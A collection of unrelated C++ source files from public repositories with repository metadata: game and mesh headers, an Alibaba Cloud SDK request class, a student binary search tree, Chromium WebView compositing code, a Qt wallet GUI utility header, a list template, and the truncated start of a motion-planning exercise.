cb44b952f9ed623ba37242b2392eeee7911592c1 | 8ee5a9a08b46df59fa98d965388499acf36cf1c9 | /Project1/Garden.h | 5e9e28edf7d79421fb0c5bbf42611ff7a3a21a61 | [] | no_license | ustato/HakoniwaGame | 4bde669c24b10872583b94d8e5aa0543bc364cc0 | a127757fdc877eebe8cc22759aa432df5304abb9 | refs/heads/master | 2021-09-04T20:06:43.416267 | 2018-01-22T02:17:32 | 2018-01-22T02:17:32 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 119 | h | #pragma once
#include "Object.h"
class Garden
{
public:
Object object;
int x;
int y;
Garden();
~Garden();
};
| [
"atsuto.fps@gmail.com"
] | atsuto.fps@gmail.com |
42ceb01b638ff0aa4fb3e96f8f0c6c55b25967f2 | 96a0f2dbe794bb12e4e7bdebb099996a24de7777 | /MeshView2005/IItem.h | 3dcef8aaddbbbf89e33dc72aced6582572abe866 | [] | no_license | throwthisaway/Mesh | 0c150699a0c50a41ed6fd57805216c5b6aa5003a | 920a5ee472ce33f0c4ed9a8b0c02bc4a24ccffce | refs/heads/master | 2021-01-17T11:08:55.326040 | 2018-04-14T17:41:53 | 2018-04-14T17:41:53 | 52,990,824 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 127 | h | #pragma once
namespace Scene
{
class IItem
{
public:
virtual void Draw(void) = 0;
virtual void Cleanup(void) = 0;
};
}
| [
"throwthisaway@freemail.hu"
] | throwthisaway@freemail.hu |
74c860df106cd0edb423b429ce39a27da640d1e5 | d0fb46aecc3b69983e7f6244331a81dff42d9595 | /linkwan/include/alibabacloud/linkwan/model/UpdateUserIsolationStateRequest.h | 1a3f896eea2cbbfd773ad9adf2236159d08e791b | [
"Apache-2.0"
] | permissive | aliyun/aliyun-openapi-cpp-sdk | 3d8d051d44ad00753a429817dd03957614c0c66a | e862bd03c844bcb7ccaa90571bceaa2802c7f135 | refs/heads/master | 2023-08-29T11:54:00.525102 | 2023-08-29T03:32:48 | 2023-08-29T03:32:48 | 115,379,460 | 104 | 82 | NOASSERTION | 2023-09-14T06:13:33 | 2017-12-26T02:53:27 | C++ | UTF-8 | C++ | false | false | 1,618 | h | /*
* Copyright 2009-2017 Alibaba Cloud All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef ALIBABACLOUD_LINKWAN_MODEL_UPDATEUSERISOLATIONSTATEREQUEST_H_
#define ALIBABACLOUD_LINKWAN_MODEL_UPDATEUSERISOLATIONSTATEREQUEST_H_
#include <string>
#include <vector>
#include <alibabacloud/core/RpcServiceRequest.h>
#include <alibabacloud/linkwan/LinkWANExport.h>
namespace AlibabaCloud
{
namespace LinkWAN
{
namespace Model
{
class ALIBABACLOUD_LINKWAN_EXPORT UpdateUserIsolationStateRequest : public RpcServiceRequest
{
public:
UpdateUserIsolationStateRequest();
~UpdateUserIsolationStateRequest();
bool getIsolated()const;
void setIsolated(bool isolated);
std::string getApiProduct()const;
void setApiProduct(const std::string& apiProduct);
std::string getApiRevision()const;
void setApiRevision(const std::string& apiRevision);
private:
bool isolated_;
std::string apiProduct_;
std::string apiRevision_;
};
}
}
}
#endif // !ALIBABACLOUD_LINKWAN_MODEL_UPDATEUSERISOLATIONSTATEREQUEST_H_ | [
"sdk-team@alibabacloud.com"
] | sdk-team@alibabacloud.com |
eb9d1519e19df218cea43a3f2f5e2de18711724a | 4ae0068e32141d078c9f293d6902e7ba0c38ac6a | /BinarySearchTree/search.cpp | 3b88236f4903f6306d9c8c2311576c3ec4de37b0 | [] | no_license | NguyenHung151626/IOS_Training | 2d6f940bea0a465244a7d834dfd57e5576385ee3 | 094eac7a770938eb7d84b0866bbccaaa7055a3fa | refs/heads/master | 2020-07-15T18:45:08.733008 | 2019-09-13T09:37:18 | 2019-09-13T09:37:18 | 205,626,309 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,473 | cpp | // search.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <iostream>
using namespace std;
class TreeNode {
public:
int value;
TreeNode *left;
TreeNode *right;
};
class BinarySearchTree {
public:
friend class TreeNode;
BinarySearchTree();
void insert(int key);
TreeNode* search(int key);
TreeNode* findMin();
TreeNode* findMax();
TreeNode* successor(int key);
TreeNode* predcessor(int key);
void display();
void deleteNode(int key);
private:
TreeNode *root;
void insert(int key, TreeNode* root);
TreeNode* search(int key, TreeNode* root);
TreeNode* findMin(TreeNode* root);
TreeNode* findMax(TreeNode* root);
TreeNode* parent(TreeNode* node);
TreeNode* deleteNode(int key, TreeNode* root);
void inOrderDisplay(TreeNode* root);
};
BinarySearchTree::BinarySearchTree() {
root = NULL;
}
void BinarySearchTree::insert(int key) {
if (root == NULL) {
TreeNode* newNode = new TreeNode();
newNode->value = key;
newNode->left = NULL;
newNode->right = NULL;
root = newNode;
}
else {
insert(key, root);
}
}
void BinarySearchTree::insert(int key, TreeNode* rootSub) {
if (key < rootSub->value) {
if (rootSub->left == NULL) {
TreeNode* newNode = new TreeNode();
newNode->value = key;
newNode->left = NULL;
newNode->right = NULL;
rootSub->left = newNode;
}
else {
insert(key, rootSub->left);
}
}
else {
if (rootSub->right == NULL) {
TreeNode* newNode = new TreeNode();
newNode->value = key;
newNode->left = NULL;
newNode->right = NULL;
rootSub->right = newNode;
}
else {
insert(key, rootSub->right);
}
}
}
TreeNode* BinarySearchTree::search(int key, TreeNode* rootSub) {
if (rootSub == NULL) return NULL;
else {
if (key == rootSub->value) return rootSub;
else {
TreeNode* temp = rootSub;
if (key < temp->value) {
temp = temp->left;
return search(key, temp);
}
else {
temp = temp->right;
return search(key, temp);
}
}
}
}
TreeNode* BinarySearchTree::search(int key) {
return search(key, root);
}
TreeNode* BinarySearchTree::findMin(TreeNode* rootSub) {
TreeNode* temp = rootSub;
while (temp->left != NULL) {
temp = temp->left;
}
return temp;
}
TreeNode* BinarySearchTree::findMin() {
TreeNode* temp = root;
while (temp->left != NULL) {
temp = temp->left;
}
return temp;
}
TreeNode* BinarySearchTree::findMax(TreeNode* rootSub) {
TreeNode* temp = rootSub;
while (temp->right != NULL) {
temp = temp->right;
}
return temp;
}
TreeNode* BinarySearchTree::findMax() {
TreeNode* temp = root;
while (temp->right != NULL) {
temp = temp->right;
}
return temp;
}
TreeNode* BinarySearchTree::parent(TreeNode* node) {
if (node == root) return NULL;
else {
TreeNode* temp = root;
TreeNode* p = new TreeNode();
while (node->value != temp->value) {
p = temp;
if (node->value < temp->value) {
temp = temp->left;
}
else {
temp = temp->right;
}
}
return p;
}
}
TreeNode* BinarySearchTree::successor(int key) {
TreeNode* temp = search(key);
if (key == findMax()->value) return findMax();
if (temp->right != NULL) {
return findMin(temp->right);
}
else {
//parent dau tien co con trai
//tim ve nut cha
//check con trai
//neu co: kiem tra con phai co phai no hay ko
//neu ko: lap thay cha, thay ca no
TreeNode* p = parent(temp);
TreeNode* p1 = new TreeNode();
if (p == root) {
if (p->value > temp->value) return p;
else return temp;
}
else {
while (temp != root && temp == p->right)
{
temp = p;
p = parent(p);
if (p == root) {
p = temp;
}
}
return p;
}
}
}
TreeNode* BinarySearchTree::predcessor(int key) {
//lon nhat trong cac so < key
TreeNode* temp = search(key);
//neu la so nho nhat ko co predcessor tra ve key
if (key == findMin()->value) return findMin();
if (temp->left != NULL) {
return findMax(temp->left);
}
// ko co con trai
else {
//parent dau tien co con phai la to tien cua no hoac no
TreeNode* p = parent(temp);
if (p == root) {
if (p->value > temp->value) return p;
else return temp;
}
else {
while (temp != root && temp == p->left)
{
temp = p;
p = parent(p);
if (p == root) {
p = temp;
}
}
return p;
}
}
}
TreeNode* BinarySearchTree::deleteNode(int key, TreeNode* root)
{
if (root == NULL)
return root;
else if (key < root->value)
root->left = deleteNode(key, root->left);
else if (key > root->value)
root->right = deleteNode(key, root->right);
//tim dc => root
else
{
if (root->left == NULL && root->right == NULL)
{
delete root;
root = NULL;
}
else if (root->left == NULL)
{
TreeNode* temp = root;
root = root->right;
delete temp;
}
else if (root->right == NULL)
{
TreeNode* temp = root;
root = root->left;
delete temp;
}
else
{
TreeNode* min = findMin(root->right);
root->value = min->value;
root->right = deleteNode(min->value, root->right);
}
}
return root;
}
void BinarySearchTree::deleteNode(int key) {
root = deleteNode(key, root);
}
void BinarySearchTree::display() {
inOrderDisplay(root);
}
void BinarySearchTree::inOrderDisplay(TreeNode* root) {
if (root != NULL) {
inOrderDisplay(root->left);
cout << root->value << " -> ";
inOrderDisplay(root->right);
}
}
int main()
{
BinarySearchTree binarySearchTree;
/*binarySearchTree.insert(10);*/
//binarySearchTree.insert(1);
//binarySearchTree.insert(2);
//binarySearchTree.insert(20);
//binarySearchTree.insert(-9);
//binarySearchTree.insert(7);
//binarySearchTree.insert(16);
//binarySearchTree.insert(15);
//binarySearchTree.insert(24);
//binarySearchTree.insert(23);
//binarySearchTree.insert(27);
//binarySearchTree.insert(-11);
//binarySearchTree.insert(-8);
binarySearchTree.insert(50);
binarySearchTree.insert(30);
binarySearchTree.insert(55);
binarySearchTree.insert(25);
binarySearchTree.insert(35);
binarySearchTree.insert(31);
binarySearchTree.insert(37);
binarySearchTree.insert(10);
binarySearchTree.insert(20);
binarySearchTree.insert(23);
binarySearchTree.insert(19);
binarySearchTree.display();
cout << "\n";
//binarySearchTree.deleteNode(-9);
//binarySearchTree.display();
cout << "\n";
//cout << (binarySearchTree.search(1))->left->value << endl;
cout << "successor: " << binarySearchTree.successor(23)->value << endl;
cout << "predcessor: " << binarySearchTree.predcessor(50)->value << endl;
system("pause");
return 0;
}
| [
"hungnguyencong7696@gmail.com"
] | hungnguyencong7696@gmail.com |
c44a8497ddae601c3f88504b22771b0ee1162985 | e4f85676da4b6a7d8eaa56e7ae8910e24b28b509 | /android_webview/browser/surfaces_instance.cc | 3961c27565349b8d0353683965318f239d95168e | [
"BSD-3-Clause"
] | permissive | RyoKodama/chromium | ba2b97b20d570b56d5db13fbbfb2003a6490af1f | c421c04308c0c642d3d1568b87e9b4cd38d3ca5d | refs/heads/ozone-wayland-dev | 2023-01-16T10:47:58.071549 | 2017-09-27T07:41:58 | 2017-09-27T07:41:58 | 105,863,448 | 0 | 0 | null | 2017-10-05T07:55:32 | 2017-10-05T07:55:32 | null | UTF-8 | C++ | false | false | 9,086 | cc | // Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "android_webview/browser/surfaces_instance.h"
#include <algorithm>
#include <utility>
#include "android_webview/browser/aw_gl_surface.h"
#include "android_webview/browser/aw_render_thread_context_provider.h"
#include "android_webview/browser/deferred_gpu_command_service.h"
#include "android_webview/browser/parent_output_surface.h"
#include "base/memory/ptr_util.h"
#include "components/viz/common/display/renderer_settings.h"
#include "components/viz/common/frame_sinks/begin_frame_source.h"
#include "components/viz/common/quads/solid_color_draw_quad.h"
#include "components/viz/common/quads/surface_draw_quad.h"
#include "components/viz/common/surfaces/local_surface_id_allocator.h"
#include "components/viz/service/display/display.h"
#include "components/viz/service/display/display_scheduler.h"
#include "components/viz/service/display/texture_mailbox_deleter.h"
#include "components/viz/service/frame_sinks/compositor_frame_sink_support.h"
#include "components/viz/service/frame_sinks/frame_sink_manager_impl.h"
#include "ui/gfx/geometry/rect.h"
#include "ui/gfx/geometry/size.h"
#include "ui/gfx/transform.h"
namespace android_webview {
namespace {
// The client_id used here should not conflict with the client_id generated
// from RenderWidgetHostImpl.
constexpr uint32_t kDefaultClientId = 0u;
SurfacesInstance* g_surfaces_instance = nullptr;
} // namespace
// static
scoped_refptr<SurfacesInstance> SurfacesInstance::GetOrCreateInstance() {
if (g_surfaces_instance)
return make_scoped_refptr(g_surfaces_instance);
return make_scoped_refptr(new SurfacesInstance);
}
SurfacesInstance::SurfacesInstance()
: frame_sink_id_allocator_(kDefaultClientId),
frame_sink_id_(AllocateFrameSinkId()) {
viz::RendererSettings settings;
// Should be kept in sync with compositor_impl_android.cc.
settings.allow_antialiasing = false;
settings.highp_threshold_min = 2048;
// Webview does not own the surface so should not clear it.
settings.should_clear_root_render_pass = false;
frame_sink_manager_ = std::make_unique<viz::FrameSinkManagerImpl>(
viz::SurfaceManager::LifetimeType::SEQUENCES);
local_surface_id_allocator_.reset(new viz::LocalSurfaceIdAllocator());
constexpr bool is_root = true;
constexpr bool needs_sync_points = true;
support_ = viz::CompositorFrameSinkSupport::Create(
this, frame_sink_manager_.get(), frame_sink_id_, is_root,
needs_sync_points);
begin_frame_source_.reset(new viz::StubBeginFrameSource);
std::unique_ptr<viz::TextureMailboxDeleter> texture_mailbox_deleter(
new viz::TextureMailboxDeleter(nullptr));
std::unique_ptr<ParentOutputSurface> output_surface_holder(
new ParentOutputSurface(AwRenderThreadContextProvider::Create(
make_scoped_refptr(new AwGLSurface),
DeferredGpuCommandService::GetInstance())));
output_surface_ = output_surface_holder.get();
auto scheduler = base::MakeUnique<viz::DisplayScheduler>(
begin_frame_source_.get(), nullptr,
output_surface_holder->capabilities().max_frames_pending);
display_ = base::MakeUnique<viz::Display>(
nullptr /* shared_bitmap_manager */,
nullptr /* gpu_memory_buffer_manager */, settings, frame_sink_id_,
std::move(output_surface_holder), std::move(scheduler),
std::move(texture_mailbox_deleter));
display_->Initialize(this, frame_sink_manager_->surface_manager());
// TODO(ccameron): WebViews that are embedded in WCG windows will want to
// specify gfx::ColorSpace::CreateExtendedSRGB(). This situation is not yet
// detected.
// https://crbug.com/735658
gfx::ColorSpace display_color_space = gfx::ColorSpace::CreateSRGB();
display_->SetColorSpace(display_color_space, display_color_space);
frame_sink_manager_->RegisterBeginFrameSource(begin_frame_source_.get(),
frame_sink_id_);
display_->SetVisible(true);
DCHECK(!g_surfaces_instance);
g_surfaces_instance = this;
}
SurfacesInstance::~SurfacesInstance() {
DCHECK_EQ(g_surfaces_instance, this);
frame_sink_manager_->UnregisterBeginFrameSource(begin_frame_source_.get());
g_surfaces_instance = nullptr;
DCHECK(child_ids_.empty());
}
void SurfacesInstance::DisplayOutputSurfaceLost() {
// Android WebView does not handle context loss.
LOG(FATAL) << "Render thread context loss";
}
viz::FrameSinkId SurfacesInstance::AllocateFrameSinkId() {
return frame_sink_id_allocator_.NextFrameSinkId();
}
viz::FrameSinkManagerImpl* SurfacesInstance::GetFrameSinkManager() {
return frame_sink_manager_.get();
}
void SurfacesInstance::DrawAndSwap(const gfx::Size& viewport,
const gfx::Rect& clip,
const gfx::Transform& transform,
const gfx::Size& frame_size,
const viz::SurfaceId& child_id) {
DCHECK(std::find(child_ids_.begin(), child_ids_.end(), child_id) !=
child_ids_.end());
// Create a frame with a single SurfaceDrawQuad referencing the child
// Surface and transformed using the given transform.
std::unique_ptr<viz::RenderPass> render_pass = viz::RenderPass::Create();
render_pass->SetNew(1, gfx::Rect(viewport), clip, gfx::Transform());
render_pass->has_transparent_background = false;
viz::SharedQuadState* quad_state =
render_pass->CreateAndAppendSharedQuadState();
quad_state->quad_to_target_transform = transform;
quad_state->quad_layer_rect = gfx::Rect(frame_size);
quad_state->visible_quad_layer_rect = gfx::Rect(frame_size);
quad_state->clip_rect = clip;
quad_state->is_clipped = true;
quad_state->opacity = 1.f;
viz::SurfaceDrawQuad* surface_quad =
render_pass->CreateAndAppendDrawQuad<viz::SurfaceDrawQuad>();
surface_quad->SetNew(quad_state, gfx::Rect(quad_state->quad_layer_rect),
gfx::Rect(quad_state->quad_layer_rect), child_id,
viz::SurfaceDrawQuadType::PRIMARY, SK_ColorWHITE,
nullptr);
cc::CompositorFrame frame;
// We draw synchronously, so acknowledge a manual BeginFrame.
frame.metadata.begin_frame_ack =
viz::BeginFrameAck::CreateManualAckWithDamage();
frame.render_pass_list.push_back(std::move(render_pass));
frame.metadata.device_scale_factor = 1.f;
frame.metadata.referenced_surfaces = child_ids_;
if (!root_id_.is_valid() || viewport != surface_size_) {
root_id_ = local_surface_id_allocator_->GenerateId();
surface_size_ = viewport;
display_->SetLocalSurfaceId(root_id_, 1.f);
}
bool result = support_->SubmitCompositorFrame(root_id_, std::move(frame));
DCHECK(result);
display_->Resize(viewport);
display_->DrawAndSwap();
}
void SurfacesInstance::AddChildId(const viz::SurfaceId& child_id) {
DCHECK(std::find(child_ids_.begin(), child_ids_.end(), child_id) ==
child_ids_.end());
child_ids_.push_back(child_id);
if (root_id_.is_valid())
SetSolidColorRootFrame();
}
void SurfacesInstance::RemoveChildId(const viz::SurfaceId& child_id) {
auto itr = std::find(child_ids_.begin(), child_ids_.end(), child_id);
DCHECK(itr != child_ids_.end());
child_ids_.erase(itr);
if (root_id_.is_valid())
SetSolidColorRootFrame();
}
void SurfacesInstance::SetSolidColorRootFrame() {
DCHECK(!surface_size_.IsEmpty());
gfx::Rect rect(surface_size_);
bool is_clipped = false;
bool are_contents_opaque = true;
std::unique_ptr<viz::RenderPass> render_pass = viz::RenderPass::Create();
render_pass->SetNew(1, rect, rect, gfx::Transform());
viz::SharedQuadState* quad_state =
render_pass->CreateAndAppendSharedQuadState();
quad_state->SetAll(gfx::Transform(), rect, rect, rect, is_clipped,
are_contents_opaque, 1.f, SkBlendMode::kSrcOver, 0);
viz::SolidColorDrawQuad* solid_quad =
render_pass->CreateAndAppendDrawQuad<viz::SolidColorDrawQuad>();
solid_quad->SetNew(quad_state, rect, rect, SK_ColorBLACK, false);
cc::CompositorFrame frame;
frame.render_pass_list.push_back(std::move(render_pass));
// We draw synchronously, so acknowledge a manual BeginFrame.
frame.metadata.begin_frame_ack =
viz::BeginFrameAck::CreateManualAckWithDamage();
frame.metadata.referenced_surfaces = child_ids_;
frame.metadata.device_scale_factor = 1;
bool result = support_->SubmitCompositorFrame(root_id_, std::move(frame));
DCHECK(result);
}
void SurfacesInstance::DidReceiveCompositorFrameAck(
const std::vector<viz::ReturnedResource>& resources) {
ReclaimResources(resources);
}
void SurfacesInstance::OnBeginFrame(const viz::BeginFrameArgs& args) {}
void SurfacesInstance::ReclaimResources(
const std::vector<viz::ReturnedResource>& resources) {
// Root surface should have no resources to return.
CHECK(resources.empty());
}
void SurfacesInstance::OnBeginFramePausedChanged(bool paused) {}
} // namespace android_webview
| [
"commit-bot@chromium.org"
] | commit-bot@chromium.org |
0e4f8df69e504ad1f076dd42ca63c3f4e2699b61 | a070ff0c5b424f8b7c1a7fa05f4f40d68381667b | /src/qt/guiutil.h | bebd1263c6aca60910391dd4caf8de2f04de834a | [
"MIT"
] | permissive | diyathrajapakshe/bethel-core | 1347a29d8091778eaa4dc97fa26fc428e6206366 | 9f272d635da18b91582dbbb2ba47cfce1a1fc9ca | refs/heads/master | 2021-03-13T11:49:21.838487 | 2020-03-11T20:56:23 | 2020-03-11T20:56:23 | 246,677,608 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,554 | h | // Copyright (c) 2011-2015 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef BETHEL_QT_GUIUTIL_H
#define BETHEL_QT_GUIUTIL_H
#include "amount.h"
#include <QEvent>
#include <QHeaderView>
#include <QMessageBox>
#include <QObject>
#include <QProgressBar>
#include <QString>
#include <QTableView>
#include <boost/filesystem.hpp>
class QValidatedLineEdit;
class SendCoinsRecipient;
QT_BEGIN_NAMESPACE
class QAbstractItemView;
class QDateTime;
class QFont;
class QLineEdit;
class QUrl;
class QWidget;
QT_END_NAMESPACE
/** Utility functions used by the Bethel Qt UI.
*/
namespace GUIUtil
{
// Create human-readable string from date
QString dateTimeStr(const QDateTime &datetime);
QString dateTimeStr(qint64 nTime);
// Return a monospace font
QFont fixedPitchFont();
// Set up widgets for address and amounts
void setupAddressWidget(QValidatedLineEdit *widget, QWidget *parent);
void setupAmountWidget(QLineEdit *widget, QWidget *parent);
// Parse "bethel:" URI into recipient object, return true on successful parsing
bool parseBethelURI(const QUrl &uri, SendCoinsRecipient *out);
bool parseBethelURI(QString uri, SendCoinsRecipient *out);
QString formatBethelURI(const SendCoinsRecipient &info);
// Returns true if given address+amount meets "dust" definition
bool isDust(const QString& address, const CAmount& amount);
// HTML escaping for rich text controls
QString HtmlEscape(const QString& str, bool fMultiLine=false);
QString HtmlEscape(const std::string& str, bool fMultiLine=false);
/** Copy a field of the currently selected entry of a view to the clipboard. Does nothing if nothing
is selected.
@param[in] column Data column to extract from the model
@param[in] role Data role to extract from the model
@see TransactionView::copyLabel, TransactionView::copyAmount, TransactionView::copyAddress
*/
void copyEntryData(QAbstractItemView *view, int column, int role=Qt::EditRole);
/** Return a field of the currently selected entry as a QString. Does nothing if nothing
is selected.
@param[in] column Data column to extract from the model
@param[in] role Data role to extract from the model
@see TransactionView::copyLabel, TransactionView::copyAmount, TransactionView::copyAddress
*/
QString getEntryData(QAbstractItemView *view, int column, int role);
void setClipboard(const QString& str);
/** Get save filename, mimics QFileDialog::getSaveFileName, except that it appends a default suffix
when no suffix is provided by the user.
@param[in] parent Parent window (or 0)
@param[in] caption Window caption (or empty, for default)
@param[in] dir Starting directory (or empty, to default to documents directory)
@param[in] filter Filter specification such as "Comma Separated Files (*.csv)"
@param[out] selectedSuffixOut Pointer to return the suffix (file type) that was selected (or 0).
Can be useful when choosing the save file format based on suffix.
*/
QString getSaveFileName(QWidget *parent, const QString &caption, const QString &dir,
const QString &filter,
QString *selectedSuffixOut);
/** Get open filename, convenience wrapper for QFileDialog::getOpenFileName.
@param[in] parent Parent window (or 0)
@param[in] caption Window caption (or empty, for default)
@param[in] dir Starting directory (or empty, to default to documents directory)
@param[in] filter Filter specification such as "Comma Separated Files (*.csv)"
@param[out] selectedSuffixOut Pointer to return the suffix (file type) that was selected (or 0).
Can be useful when choosing the save file format based on suffix.
*/
QString getOpenFileName(QWidget *parent, const QString &caption, const QString &dir,
const QString &filter,
QString *selectedSuffixOut);
/** Get connection type to call object slot in GUI thread with invokeMethod. The call will be blocking.
@returns If called from the GUI thread, return a Qt::DirectConnection.
If called from another thread, return a Qt::BlockingQueuedConnection.
*/
Qt::ConnectionType blockingGUIThreadConnection();
// Determine whether a widget is hidden behind other windows
bool isObscured(QWidget *w);
// Open debug.log
void openDebugLogfile();
// Open the config file
void openBethelConf();
// Replace invalid default fonts with known good ones
void SubstituteFonts(const QString& language);
/** Qt event filter that intercepts ToolTipChange events, and replaces the tooltip with a rich text
representation if needed. This assures that Qt can word-wrap long tooltip messages.
Tooltips longer than the provided size threshold (in characters) are wrapped.
*/
class ToolTipToRichTextFilter : public QObject
{
Q_OBJECT
public:
explicit ToolTipToRichTextFilter(int size_threshold, QObject *parent = 0);
protected:
bool eventFilter(QObject *obj, QEvent *evt);
private:
int size_threshold;
};
/**
* Makes a QTableView last column feel as if it was being resized from its left border.
* Also makes sure the column widths are never larger than the table's viewport.
* In Qt, all columns are resizable from the right, but it's not intuitive resizing the last column from the right.
* Usually our second to last columns behave as if stretched, and when on strech mode, columns aren't resizable
* interactively or programatically.
*
* This helper object takes care of this issue.
*
*/
class TableViewLastColumnResizingFixer: public QObject
{
Q_OBJECT
public:
TableViewLastColumnResizingFixer(QTableView* table, int lastColMinimumWidth, int allColsMinimumWidth, QObject *parent);
void stretchColumnWidth(int column);
private:
QTableView* tableView;
int lastColumnMinimumWidth;
int allColumnsMinimumWidth;
int lastColumnIndex;
int columnCount;
int secondToLastColumnIndex;
void adjustTableColumnsWidth();
int getAvailableWidthForColumn(int column);
int getColumnsWidth();
void connectViewHeadersSignals();
void disconnectViewHeadersSignals();
void setViewHeaderResizeMode(int logicalIndex, QHeaderView::ResizeMode resizeMode);
void resizeColumn(int nColumnIndex, int width);
private Q_SLOTS:
void on_sectionResized(int logicalIndex, int oldSize, int newSize);
void on_geometriesChanged();
};
bool GetStartOnSystemStartup();
bool SetStartOnSystemStartup(bool fAutoStart);
/** Save window size and position */
void saveWindowGeometry(const QString& strSetting, QWidget *parent);
/** Restore window size and position */
void restoreWindowGeometry(const QString& strSetting, const QSize &defaultSizeIn, QWidget *parent);
/* Convert QString to OS specific boost path through UTF-8 */
boost::filesystem::path qstringToBoostPath(const QString &path);
/* Convert OS specific boost path to QString through UTF-8 */
QString boostPathToQString(const boost::filesystem::path &path);
/* Convert seconds into a QString with days, hours, mins, secs */
QString formatDurationStr(int secs);
/* Format CNodeStats.nServices bitmask into a user-readable string */
QString formatServicesStr(quint64 mask);
/* Format a CNodeCombinedStats.dPingTime into a user-readable string or display N/A, if 0*/
QString formatPingTime(double dPingTime);
/* Format a CNodeCombinedStats.nTimeOffset into a user-readable string. */
QString formatTimeOffset(int64_t nTimeOffset);
#if defined(Q_OS_MAC)
// workaround for Qt OSX Bug:
// https://bugreports.qt-project.org/browse/QTBUG-15631
// QProgressBar uses around 10% CPU even when app is in background
class ProgressBar : public QProgressBar
{
bool event(QEvent *e) {
return (e->type() != QEvent::StyleAnimationUpdate) ? QProgressBar::event(e) : false;
}
};
#else
typedef QProgressBar ProgressBar;
#endif
} // namespace GUIUtil
#endif // BETHEL_QT_GUIUTIL_H
| [
"diyathrajapakshe@gmail.com"
] | diyathrajapakshe@gmail.com |
9f6f687a918a50ba4a30402939474d5feeeca687 | 1ffd746435708c8a25e480417309795faa0253d7 | /includes/Player_paddle.hpp | a656cda77cd1b9bd09e4ca668ccf44297ef540ca | [] | no_license | akulaiev/Air_hockey | 16995766c4531d26ea040f8768f7b18ea4e46b60 | 340ddb5da44365960473da441a1252d654db5221 | refs/heads/master | 2020-06-01T15:14:10.934415 | 2019-06-08T01:07:55 | 2019-06-08T01:07:55 | 190,829,231 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 477 | hpp |
// Player_paddle.hpp
// A header for the child class of Game_object.cpp.
// Initialises specific values for paddle, controlled by player.
// Author: Hanna Kulaieva
#ifndef PLAYER_PADDLE_HPP
#define PLAYER_PADDLE_HPP
#include "Game_object.hpp"
#include <cmath>
class Player_paddle : public Game_object
{
public:
Player_paddle ();
Player_paddle (Player_paddle const & inst);
~Player_paddle ();
Player_paddle & operator=(Player_paddle const & inst);
private:
};
#endif | [
"druidkuma@gmail.com"
] | druidkuma@gmail.com |
5f8f230e09daa9d10475dad2ab7da4c07fe59758 | ef63479fe2001b522b3adfd0516d31269e21ba8d | /ClassMode/异常处理机制的顺序表模板类.cpp | 23c0ca642d1d376f1f700f0668a073a5b638e0bb | [] | no_license | GCongCong/C-PlusPlus | 29aaeb313f6406d13ee72ee0a99f273d398ddbdf | a5248012c59b3c6ca99d6b80cd68e0d1c9bf65ff | refs/heads/master | 2022-12-02T09:27:29.999326 | 2020-08-07T03:11:11 | 2020-08-07T03:11:11 | 280,659,797 | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 1,652 | cpp | /*带有异常处理机制的顺序表模板类*/
template<typename T>
class Link
{
public:
Link()
{
ptr=new T[2];
cursize=0;
length=2;
}
~Link()
{
delete []ptr;
ptr=NULL;
cursize=0;
length=0;
}
void resize()
{
T* temp=new int[length*2]();
memcpy(temp,ptr,sizeof(T)*length);
delete [] ptr;
ptr=temp;
length*=2;
}
void insertTail(T val)
{
insertPos(cursize,val);
}
void insertPos(int pos,T val)
{
if(pos<0 || pos>cursize)
{
throw std::exception("Insert pos is error");
}
if(full())
{
resize();
}
for(int i=cursize;i>pos;i--)
{
ptr[i]=ptr[i-1];
}
ptr[pos]=val;
cursize++;
}
void deleteTail()
{
deletePos(cursize-1);
}
void deletePos(int pos)
{
if(pos<0 || pos>cursize)
{
throw std::exception("delete pos is error");
}
if(empty())
{
throw std::exception("Link is empty");
}
for(int i=pos;i<cursize-1;i++)
{
ptr[i]=ptr[i+1];
}
cursize--;
}
T back()
{
if(empty())
{
throw std::exception("Link is empty");
}
return ptr[cursize-1];
}
void show()
{
for(int i=0;i<cursize;i++)
{
std::cout<<ptr[i]<<" " ;
}
std::cout<<std::endl;
}
private:
bool full()
{
return cursize==length;
}
bool empty()
{
return cursize==0;
}
T *ptr;//指向顺序表
int cursize;//有效数据个数
int length;//总长度
};
int main()
{
Link<int> link;
for(int i=0;i<5;i++)
{
link.insertTail(i);
}
std::cout<<"插入0~5:"<<std::endl;
link.show();
std::cout<<"4号位置插入100:"<<std::endl;
link.insertPos(4,100);
link.show();
std::cout<<"删除0号下标元素:"<<std::endl;
link.deletePos(0);
link.show();
}
| [
"2499292915@qq.com"
] | 2499292915@qq.com |
de98add93c6ee1aacb2718c390ea8d19deadbce3 | 4a9c4259285aa2f4f99f414771655baa120eec18 | /5 Planning/Lesson 3. Motion planning/main_9.cpp | a16ecda25749b16ea71c266a78925678e19d682c | [] | no_license | jack239/Udacity_Car_ND_2 | 587d106a8d787e6c803ad73bc380b58ff55f6299 | 227aee67ee6d7cfd514baca4cb02f8be736b7868 | refs/heads/main | 2023-08-27T22:03:32.635773 | 2021-10-20T09:59:15 | 2021-10-20T09:59:15 | 399,463,117 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,300 | cpp | /**********************************************
* Self-Driving Car Nano-degree - Udacity
* Created on: October 20, 2020
* Author: Munir Jojo-Verge
**********************************************/
/*
In this exercise we will calculate the value of the integral:
x(s)= integral(cos(theta(s)) ds) from a (s=0) to b (s=sf).
To do so since this integral does NOT have a closed-form solution we will use
Simpson's Rule.
The only things you need are:
1) The definition of Theta(s) for a Cubic Spiral, which is:
theta(s) = th_0 + a3*s^4/4 + a2*s^3/3 + a1*s^2/2 + a0*s
NOTE: th_0 will be always 0 in this exercise.
2) Simpson's Rule equation:
